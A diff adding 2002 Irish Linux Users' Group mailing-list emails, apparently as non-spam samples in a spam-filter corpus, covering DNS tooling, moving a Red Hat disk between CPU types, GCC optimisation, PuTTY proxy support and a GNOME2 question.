phobos.labs.netnoteinc.com (Postfix) with ESMTP id E6CDA440C8 + for ; Mon, 22 Jul 2002 13:11:52 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:11:52 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFGL901399 for + ; Mon, 22 Jul 2002 16:16:21 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id PAA32520 for ; + Mon, 22 Jul 2002 15:49:03 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA31570; Mon, 22 Jul 2002 15:48:26 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from relay07.indigo.ie (relay07.indigo.ie [194.125.133.231]) by + lugh.tuatha.org (8.9.3/8.9.3) with SMTP id PAA31537 for ; + Mon, 22 Jul 2002 15:48:20 +0100 +Received: (qmail 79500 messnum 1024557 invoked from + network[194.125.130.10/unknown]); 22 Jul 2002 14:48:16 -0000 +Received: from unknown (HELO win2000) (194.125.130.10) by + relay07.indigo.ie (qp 79500) with SMTP; 22 Jul 2002 14:48:16 -0000 +Reply-To: +From: "Justin MacCarthy" +To: "irish linux users group" +Subject: RE: [ILUG] bind + lex + yacc... +Date: Mon, 22 Jul 2002 15:48:54 +0100 +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4910.0300 +In-Reply-To: <20020722153905.A27790@ie.suberic.net> +Importance: Normal +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Never having to support a large network myself, I know very little about +this.. +but what do lex & yacc have to do with anything ? + +These are language parsers, used to build complilers / interptreters and +the like???!!! + +BIND, ok large networks might need DNS.... + +Have I missed something completely? + +J + +> -----Original Message----- +> From: ilug-admin@linux.ie [mailto:ilug-admin@linux.ie]On Behalf Of kevin +> lyda +> Sent: Monday, July 22, 2002 3:39 PM +> To: irish linux users group +> Subject: [ILUG] bind + lex + yacc... +> +> +> i recently received this email from a friend of mine in the states: +> +> i'm trying to figure out how to maintain about 200 domains, with a +> hundred or so computers per domain. some internal, some external. +> i recently learned lex and yacc and i'm thinking that's the way to go. +> i don't really know perl and i know it's useful but i think i can +> write c faster then perl. +> +> is this a good idea? +> +> ps we're really busy. +> +> obviously as a stupid developer with no real admin experience to speak +> of, i'm not qualified to answer this question. does anyone with real +> admin experience have any suggestions here? the problem sounds really +> hard, and i doubt anyone has had to deal with this level of complexity +> so there probably aren't any existing tools written. +> +> anyone else have any opinions or experience i could pass on? +> +> kevin +> +> -- +> kevin@suberic.net that a believer is happier than a skeptic +> is no more to +> fork()'ed on 37058400 the point than the fact that a drunken +> man is happier +> meatspace place: home than a sober one. the happiness of +> credulity is a +> http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw +> +> -- +> Irish Linux Users' Group: ilug@linux.ie +> http://www.linux.ie/mailman/listinfo/ilug for (un)subscription +> information. +> List maintainer: listmaster@linux.ie +> +> +> + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00118.fec4bead22e8bbaebd24ee2de8d6397f b/bayes/spamham/easy_ham_2/00118.fec4bead22e8bbaebd24ee2de8d6397f new file mode 100644 index 0000000..aba4aed --- /dev/null +++ b/bayes/spamham/easy_ham_2/00118.fec4bead22e8bbaebd24ee2de8d6397f @@ -0,0 +1,153 @@ +From ilug-admin@linux.ie Fri Jul 26 16:01:43 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 834F8440E8 + for ; Fri, 26 Jul 2002 11:01:41 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 16:01:41 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6QF1Nr04045 for + ; Fri, 26 Jul 2002 16:01:23 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA02825; Fri, 26 Jul 2002 15:57:00 +0100 +Received: from milexc01.maxtor.com ([134.6.205.206]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA02803 for ; Fri, + 26 Jul 2002 15:56:50 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [134.6.205.206] claimed to + be milexc01.maxtor.com +Received: by milexc01.maxtor.com with Internet Mail Service (5.5.2653.19) + id ; Fri, 26 Jul 2002 15:56:46 +0100 +Message-Id: <0D443C91DCE9CD40B1C795BA222A729E018854FA@milexc01.maxtor.com> +From: "Wynne, Conor" +To: "'Conor Daly'" , + ILUG main list +Subject: RE: [ILUG] Architecture crossover trouble w RH7.2 (solved) +Date: Fri, 26 Jul 2002 15:56:22 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-1" +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Surely it would be faster to save you conf files, install it on the box +again, copy back you confs and voila. +All you car about are the confs as the boite has no DATA right? + +Thats what I would do, but you sysadmins have to make life as difficult & +complicated as possible ;--) + +Have you thought about mirroring the system drives? Might save you serious +hassle down the line. + +Only kidding but thats what I would do. + +CW + +---------------- +OK, Here's how to do it [1] ... + +While the disk is still installed in the i686 machine (if that's broken, +beg, borrow or steal...), remove the i686 versions of glibc and kernel and +install the i386 versions. This will break one or two other packages since +they have entries in /etc/ld.so.conf which belongs to glibc. these packages +will need to be reinstalled. So: + +1. rpm -e --nodeps glibc + + Your /etc/ld.so.conf has been saved as /etc/ld.so.conf.rpmsave + +2. rpm -ivh glibc--i386.rpm +3. rpm -e --nodeps kernel +4. rpm -ivh kernel--i386.rpm + +This installs the i386 versions of kernel and glibc. You'll be able to boot +in a non 686 machine now. However, X is now broken as is kerberos. At +least those are the two I noticed. Your /etc/ld.so.conf.rpmsave will +contain clues as to what else might be broken. To fix X and kerberos you +need to reinstall their libs (copying /etc/ld.so.conf.rpmsave back to +/etc/ld.so.conf doesn't seem to work): + +1. rpm -ivh --replacepkgs XFree86-libs--i386.rpm +2. rpm -ivh --replacepkgs krb5-libs--i386.rpm + +fixes them. Other libs listed in _my_ /etc/ld.so.conf are qt, mysql and +sane. If they start behaving in odd fashions, it may be related. +Reinstalling the libs for these packages may fix that. + +Thanks guys... + +> [snip] +> +> > > [I] wouldn't bog it down with X either. +> > +> > That's a thought but it may be useful for the server to be available as +a +> > user machine also (maybe staff only, maybew admin only). In any +> > case, the +> > local admin (who doesn't exist as yet) will probably be using GUI +> > tools rather +> > than cli ones... +> +> Well, yes, it could be running lovely GUI tools as well. Though, are you +> sure you want to have them available? Most of the ones I've seen are +better +> of to be put down. I'd rather then be using Webmin for day to day +> maintenance, and give the local admins just a restricted set of things +they +> can do with it. Like adding and removing users and the likes. Then the +> "dangerous" parts of the admining side can be "hidden" away from their +> prying hands. True, they can always break into it, since they have +physical +> access to it as well. On the other hand it would be better if they +contacted +> yourself for the remaining admin tasks, since I believe this was supposed +to +> be remotely administered by yourself, IIRC?? + +Since this thing will be on a sub 56k dialup, any remote admin will be +strictly of the emergency variety. I plan to have the server mail me its +logs and stuff regurlarly so I can keep an eye on it but most/all of the +admin will be done locally. + +Conor + +[1] "it" being migrate a Hard Disk from an Intel P3/4/celeron box to an AMD +K6-x box. Essentially, the P3/4/celeron processor is an i686 class while +the AMD K6 processor is an i586 class (not sure about the AMD athlon or +duron chips). A RHL installed on the i686 class machine will not boot on an +i586 calss box since both kernel and glibc are optimised for i686. The +solution is to replace the i686 kernel and glibc with i386 versions. +-- +Conor Daly +Met Eireann, Glasnevin Hill, Dublin 9, Ireland +Ph +353 1 8064276 Fax +353 1 8064247 +------------------------------------ +bofh.irmet.ie running RedHat Linux 10:27am up 8 days, 23:57, 5 users, +load average: 0.19, 0.30, 0.49 + + +********************************************************************** +This email and any files transmitted with it are confidential and +intended solely for the use of the individual or entity to whom they +are addressed. If you have received this email in error please notify +the system manager. + +This footnote also confirms that this email message has been swept +for the presence of computer viruses. + + +********************************************************************** + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00119.42c5df54c26a15ca4b9b10e4b67a4c2b b/bayes/spamham/easy_ham_2/00119.42c5df54c26a15ca4b9b10e4b67a4c2b new file mode 100644 index 0000000..981b6ba --- /dev/null +++ b/bayes/spamham/easy_ham_2/00119.42c5df54c26a15ca4b9b10e4b67a4c2b @@ -0,0 +1,90 @@ +From ilug-admin@linux.ie Mon Jul 29 11:27:51 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A7CAF44125 + for ; Mon, 29 Jul 2002 06:25:07 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:07 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6RAF1i19229 for + ; Sat, 27 Jul 2002 11:15:01 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id XAA14444 for ; + Fri, 26 Jul 2002 23:30:28 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id XAA19657; Fri, 26 Jul 2002 23:30:04 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail02.svc.cra.dublin.eircom.net + (mail02.svc.cra.dublin.eircom.net [159.134.118.18]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id XAA19581 for ; Fri, + 26 Jul 2002 23:28:43 +0100 +Message-Id: <200207262228.XAA19581@lugh.tuatha.org> +Received: (qmail 28021 messnum 30580 invoked from + network[159.134.159.187/p443.as1.drogheda1.eircom.net]); 26 Jul 2002 + 22:26:57 -0000 +Received: from p443.as1.drogheda1.eircom.net (HELO there) + (159.134.159.187) by mail02.svc.cra.dublin.eircom.net (qp 28021) with SMTP; + 26 Jul 2002 22:26:57 -0000 +Content-Type: text/plain; charset="iso-8859-15" +From: John Gay +To: ilug@linux.ie +Date: Fri, 26 Jul 2002 23:24:30 +0100 +X-Mailer: KMail [version 1.3.2] +MIME-Version: 1.0 +Content-Transfer-Encoding: 8bit +Subject: [ILUG] Optimizing for Pentium Pt.2 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +A while ago I asked what other packages I should optomize for Pentium. One +person answered GlibC. This got me thinking about GCC itself, so I asked on +another list and got a few answers, most were "don't even think about it" but +a few suggested GCC and one pointed me to Linux From Scratch. + +After having a good search around the lfs site, I've decided I'm going to +give it a whirl. I've got a spare box and loads of free time, so why not ;-) + +The lfs site, however warns NOT to use optimizations when compiling GCC or +GlibC? A quick google found PGCC, a Pentium optimizing patch for GCC, but the +site does not seem to have been updated in quite some time? + +So, my general plan, and I'm taking my time with this: + +Partition the hard drive for the lfs set-up with 4 partitions, /, /usr, /var +and /home. +Install a base Debian system into the /home partition so I can build the +rest of the system into the other partitions. +Using Debian, build the initial packages into the / and /usr partitions. I'll +try to optimize GCC and GlibC in this first stage. +chroot to the / partition and re-build the base packages for shared libs. +strip de-bugging from the binaries and change the boot so the system boot +from / rather than /home, then move /home to it's proper partition. + +All going well, I should now have a full base Linux system running that is +fully optimized for my PentiumMMX including GCC and GlibC. + +Now I can build zlib and then X, again optimizing. And I can follow this with +the various graphics libs, qt lib and finally KDE. + +If all goes well, I will probably repeate this for my Dual system, once I can +find a match for the slot1 550Mhz PIII Iv'e got. + +I might even be tempted to write this up for the site. + +Cheers, + + John Gay + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00120.f6fed5d0bca8c45edaad0f6b09f70e16 b/bayes/spamham/easy_ham_2/00120.f6fed5d0bca8c45edaad0f6b09f70e16 new file mode 100644 index 0000000..f968604 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00120.f6fed5d0bca8c45edaad0f6b09f70e16 @@ -0,0 +1,85 @@ +From ilug-admin@linux.ie Mon Jul 29 11:27:50 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 03B8B4414B + for ; Mon, 29 Jul 2002 06:25:07 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:07 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6RAEUi18952 for + ; Sat, 27 Jul 2002 11:14:30 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id CAA14936 for ; + Sat, 27 Jul 2002 02:00:36 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id BAA24687; Sat, 27 Jul 2002 01:59:58 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id BAA24638 for ; + Sat, 27 Jul 2002 01:58:36 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net + [62.17.162.83] claimed to be ie.suberic.net +Received: from owsla.ie.suberic.net (owsla [127.0.0.1]) by ie.suberic.net + (8.11.6/8.11.6) with ESMTP id g6R0vIx08778 for ; + Sat, 27 Jul 2002 01:57:18 +0100 +Date: Sat, 27 Jul 2002 01:57:16 +0100 +To: John Gay +Cc: ilug@linux.ie +Subject: Re: [ILUG] Optimizing for Pentium Pt.2 +Message-Id: <20020727015716.A6561@ie.suberic.net> +References: <200207262228.XAA19581@lugh.tuatha.org> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <200207262228.XAA19581@lugh.tuatha.org>; from + johngay@eircom.net on Fri, Jul 26, 2002 at 11:24:30PM +0100 +X-Operating-System: Linux 2.4.18-5 i686 +X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646 +From: kevin lyda +X-Delivery-Agent: TMDA/0.57 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Fri, Jul 26, 2002 at 11:24:30PM +0100, John Gay wrote: +> A while ago I asked what other packages I should optomize for Pentium. One +> person answered GlibC. This got me thinking about GCC itself, so I asked on +> another list and got a few answers, most were "don't even think about it" but +> a few suggested GCC and one pointed me to Linux From Scratch. + +why? + +or more specifically, what do you mean? on one hand you can optimise +how gcc is compiled. all that will do is make it generate the exact +same code just a smidge faster. and since gcc is such a memory pig, +you'd do better to buy more ram to up your fs cache hits and to keep +gcc's heap out of swap. + +on the other side you can look into patches to gcc that affect it's +code generation. um, ok, but keep in mind that compiler errors suck. +i can't express that enough. compilers should just work. perfectly. +always. doing anything that might affect that is, in my opinion, insane. +they're hard to trace and you'd better have a deep knowledge of what's +going on to either report bugs to the patch developers or to fix it +yourself. plus my understanding is that gcc would need major changes +to get large speed boosts on x86 chips. + +kevin + +-- +kevin@suberic.net that a believer is happier than a skeptic is no more to +fork()'ed on 37058400 the point than the fact that a drunken man is happier +meatspace place: home than a sober one. the happiness of credulity is a +http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00121.4c398f0106848ae9f9d3462c2296de17 b/bayes/spamham/easy_ham_2/00121.4c398f0106848ae9f9d3462c2296de17 new file mode 100644 index 0000000..62a9e24 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00121.4c398f0106848ae9f9d3462c2296de17 @@ -0,0 +1,71 @@ +From ilug-admin@linux.ie Mon Jul 29 11:27:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 634534414C + for ; Mon, 29 Jul 2002 06:25:08 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:08 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6RAwri24326 for + ; Sat, 27 Jul 2002 11:58:53 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id LAA16259 for ; + Sat, 27 Jul 2002 11:43:47 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA10681; Sat, 27 Jul 2002 11:43:02 +0100 +Received: from weasel ([212.2.162.33]) by lugh.tuatha.org (8.9.3/8.9.3) + with ESMTP id LAA10639 for ; Sat, 27 Jul 2002 11:41:40 + +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [212.2.162.33] claimed to + be weasel +Received: from [159.134.228.13] (helo=there) by weasel with smtp (Exim + 3.33 #2) id 17YOzl-0005M5-00; Sat, 27 Jul 2002 11:40:22 +0100 +Content-Type: text/plain; charset="iso-8859-15" +From: Robert Synnott +To: Liam Bedford , ilug@linux.ie +Subject: Re: [ILUG] [OT] Oceanfree Dial-up Number +Date: Sat, 27 Jul 2002 11:39:20 +0100 +X-Mailer: KMail [version 1.3.1] +References: <253B1BDA4E68D411AC3700D0B77FC5F8077192A1@patsydan.dublin.hp.com> + <20020726123736.4f34e7fe.lbedford@netnoteinc.com> +In-Reply-To: <20020726123736.4f34e7fe.lbedford@netnoteinc.com> +MIME-Version: 1.0 +Content-Transfer-Encoding: 8bit +Message-Id: +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Actually, they do; though they aren't case sensitive. It seems to have some +trouble wtih PAP/CHAP authentication as well; you might have to do it by +script? + +On Friday 26 July 2002 12:37, Liam Bedford wrote: +> On Fri, 26 Jul 2002 12:23:24 +0100 +> +> HAMILTON,DAVID (HP-Ireland,ex2) claiming to think: +> > Hi All, +> > +> > I am trying to find the Oceanfree ISDN dialup number for Dublin. +> > http://iiu.taint.org/ appears to be down, or at least I can't get to it, +> > and I don't want to pay oceanfree ¤10 per second for tech support :-). +> +> 01-2434321 +> username: oceanfree +> password: oceanfree +> +> don't think the username and password matter much though. +> +> L. + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00122.5ee71dbda319d0b1a6eed0563c2cebf9 b/bayes/spamham/easy_ham_2/00122.5ee71dbda319d0b1a6eed0563c2cebf9 new file mode 100644 index 0000000..a0bf052 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00122.5ee71dbda319d0b1a6eed0563c2cebf9 @@ -0,0 +1,57 @@ +From ilug-admin@linux.ie Mon Jul 29 11:27:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 067CC440F8 + for ; Mon, 29 Jul 2002 06:25:09 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:09 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6REBCi02147 for + ; Sat, 27 Jul 2002 15:11:12 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA17246; Sat, 27 Jul 2002 15:09:29 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from holly.csn.ul.ie (holly.csn.ul.ie [136.201.105.4]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id PAA17205 for ; + Sat, 27 Jul 2002 15:08:06 +0100 +Received: from skynet.csn.ul.ie (skynet [136.201.105.2]) by + holly.csn.ul.ie (Postfix) with ESMTP id 450F42B254 for ; + Sat, 27 Jul 2002 15:06:17 +0100 (IST) +Received: by skynet.csn.ul.ie (Postfix, from userid 2196) id 40BBBE7AE; + Sat, 27 Jul 2002 15:06:16 +0100 (IST) +Date: Sat, 27 Jul 2002 15:06:15 +0100 +From: Stephen Shirley +To: Irish Linux Users Group +Message-Id: <20020727140613.GA32647@skynet.ie> +Mail-Followup-To: Irish Linux Users Group +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.3.24i +Subject: [ILUG] putty + proxy goodness +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Mornin' all, + I'm running one of the development snapshots of putty, and i just +noticed a very handy new feature: builtin proxy support. This means that +people like me can connect to external hosts using ssh via a http proxy. +Nitfy. + +Steve +-- +"Oh look, it's the Pigeon of Love." + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00123.3921de802520cfe7a5b3e0777aa4affc b/bayes/spamham/easy_ham_2/00123.3921de802520cfe7a5b3e0777aa4affc new file mode 100644 index 0000000..0003a64 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00123.3921de802520cfe7a5b3e0777aa4affc @@ -0,0 +1,90 @@ +From ilug-admin@linux.ie Mon Jul 29 11:27:57 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 99A0D4414D + for ; Mon, 29 Jul 2002 06:25:09 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:09 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6RGDIi07228 for + ; Sat, 27 Jul 2002 17:13:18 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA21197; Sat, 27 Jul 2002 17:11:22 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail05.svc.cra.dublin.eircom.net + (mail05.svc.cra.dublin.eircom.net [159.134.118.21]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id RAA21160 for ; Sat, + 27 Jul 2002 17:11:14 +0100 +Received: (qmail 72507 messnum 660833 invoked from + network[159.134.255.227/unknown]); 27 Jul 2002 16:10:43 -0000 +Received: from unknown (HELO pc) (159.134.255.227) by + mail05.svc.cra.dublin.eircom.net (qp 72507) with SMTP; 27 Jul 2002 + 16:10:43 -0000 +From: "John Moran" +To: "ILUG" +Subject: RE: [ILUG] Optimizing for Pentium Pt.2 +Date: Sat, 27 Jul 2002 17:10:39 +0100 +Message-Id: <000001c23588$26d71750$e3ff869f@pc> +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook, Build 10.0.3416 +Importance: Normal +In-Reply-To: <20020727015716.A6561@ie.suberic.net> +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +gcc, glibc and binutils, which the lfs site says not to optimise, +already determines what system you're compiling on, and optimises itself +to that. That's my understanding of how it works anyway. + +John + +Subject: Re: [ILUG] Optimizing for Pentium Pt.2 + + +On Fri, Jul 26, 2002 at 11:24:30PM +0100, John Gay wrote: +> A while ago I asked what other packages I should optomize for Pentium. + +> One +> person answered GlibC. This got me thinking about GCC itself, so I +asked on +> another list and got a few answers, most were "don't even think about +it" but +> a few suggested GCC and one pointed me to Linux From Scratch. + +why? + +or more specifically, what do you mean? on one hand you can optimise +how gcc is compiled. all that will do is make it generate the exact +same code just a smidge faster. and since gcc is such a memory pig, +you'd do better to buy more ram to up your fs cache hits and to keep +gcc's heap out of swap. + +on the other side you can look into patches to gcc that affect it's code +generation. um, ok, but keep in mind that compiler errors suck. i can't +express that enough. compilers should just work. perfectly. always. +doing anything that might affect that is, in my opinion, insane. they're +hard to trace and you'd better have a deep knowledge of what's going on +to either report bugs to the patch developers or to fix it yourself. +plus my understanding is that gcc would need major changes to get large +speed boosts on x86 chips. + +kevin + + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00124.2abb196cdab89d7958016ecb50af69be b/bayes/spamham/easy_ham_2/00124.2abb196cdab89d7958016ecb50af69be new file mode 100644 index 0000000..74ec4a0 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00124.2abb196cdab89d7958016ecb50af69be @@ -0,0 +1,58 @@ +From ilug-admin@linux.ie Mon Jul 29 11:27:58 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4DD754414E + for ; Mon, 29 Jul 2002 06:25:10 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:10 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6RGg8i08778 for + ; Sat, 27 Jul 2002 17:42:08 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA22311; Sat, 27 Jul 2002 17:40:36 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail02.svc.cra.dublin.eircom.net + (mail02.svc.cra.dublin.eircom.net [159.134.118.18]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id RAA22272 for ; Sat, + 27 Jul 2002 17:40:28 +0100 +Received: (qmail 60447 messnum 226823 invoked from + network[194.125.186.186/ts01-058.kilkenny.indigo.ie]); 27 Jul 2002 + 16:39:58 -0000 +Received: from ts01-058.kilkenny.indigo.ie (HELO eircom.net) + (194.125.186.186) by mail02.svc.cra.dublin.eircom.net (qp 60447) with SMTP; + 27 Jul 2002 16:39:58 -0000 +Message-Id: <3D42254B.9090609@eircom.net> +Date: Sat, 27 Jul 2002 05:44:59 +0100 +From: nils Olofsson +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020605 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: ilug@linux.ie +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Subject: [ILUG] gnome2 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +hi all, +I installed gentoo 1.2 with gnome2 but when right click on the desktop +and under disks i get not options, What file(s) do i have to edit to +get this option enabled. +Any ideas ?. +regards, +Nils + + +-- 